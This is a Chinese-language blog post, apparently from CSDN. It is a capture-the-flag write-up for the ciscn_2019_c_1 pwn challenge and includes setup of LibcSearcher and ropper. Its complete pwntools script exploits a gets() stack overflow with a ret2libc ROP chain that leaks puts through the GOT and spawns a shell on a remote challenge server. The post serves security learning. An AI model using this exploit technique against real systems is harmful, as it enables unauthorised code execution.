ciscn_2019_c_1(ret2libc)

surya……

已于 2023-04-19 22:24:22 修改

阅读量230

点赞数 1

文章标签： ubuntu linux 网络安全

于 2023-04-19 22:22:13 首次发布

本文链接：https://blog.csdn.net/m0_62322730/article/details/130254714

版权

本文介绍了如何使用Python库LibcSearcher和工具ropper来处理pwn问题，特别是针对具有NX保护、未提供libc版本且存在栈溢出的加密程序。通过分析程序，构造ROP链，利用puts()泄露libc基地址，并找到system和binsh地址，最终实现程序的利用。

摘要由CSDN通过智能技术生成

0x00 准备

LibcSearcher：python的一个库，用于解决pwn中不明libc版本的情况。

git clone https://github.com/lieanu/LibcSearcher.git
cd LibcSearcher
sudo python setup.py develop

ropper：找gadgets。官网下载：
https://pypi.org/project/ropper/1.11.2/

解压缩，拖到ubuntu里，进入这个文件。

python3 setup.py install

0x01 分析

checksec：64位，开了NX。

运行如下图，这是一个加密小程序，1：加密；2：解密；3：退出

ida分析：有puts()，加密函数里有gets()，存在栈溢出，0x50+8

没有system和binsh，开启了NX，需要自己构造ROP链。没有给出libc文件，可以用puts()来泄露libc基地址。

用ropper找pop rdi

pop_rdi=0x400c83

0x02 EXP

from pwn import *
from LibcSearcher import *
p=remote("node4.buuoj.cn",26503)
elf=ELF("./ciscn_2019_c_1")

pop_rdi=0x400c83
plt=elf.plt['puts']
got=elf.got['puts']
main=0x400B28

payload1=b'a'*0x58+p64(pop_rdi)+p64(got)+p64(plt)+p64(main)

p.recv()
p.sendline("1")
p.recvuntil("encrypted\n")
p.sendline(payload1)
p.recvuntil(b"Ciphertext\n")
p.recvuntil(b"\n")

addr=u64(p.recv(6).ljust(0x8,b"\x00"))
libc=LibcSearcher("puts",addr)
libcbase=addr-libc.dump("puts")
system=libcbase+libc.dump('system')
binsh=libcbase+libc.dump('str_bin_sh')
res=0x4006b9

payload2=b'a'*0x58+p64(res)+p64(pop_rdi)+p64(binsh)+p64(system)

p.recv()
p.sendline("1")
p.recvuntil("encrypted\n")
p.sendline(payload2)

p.interactive()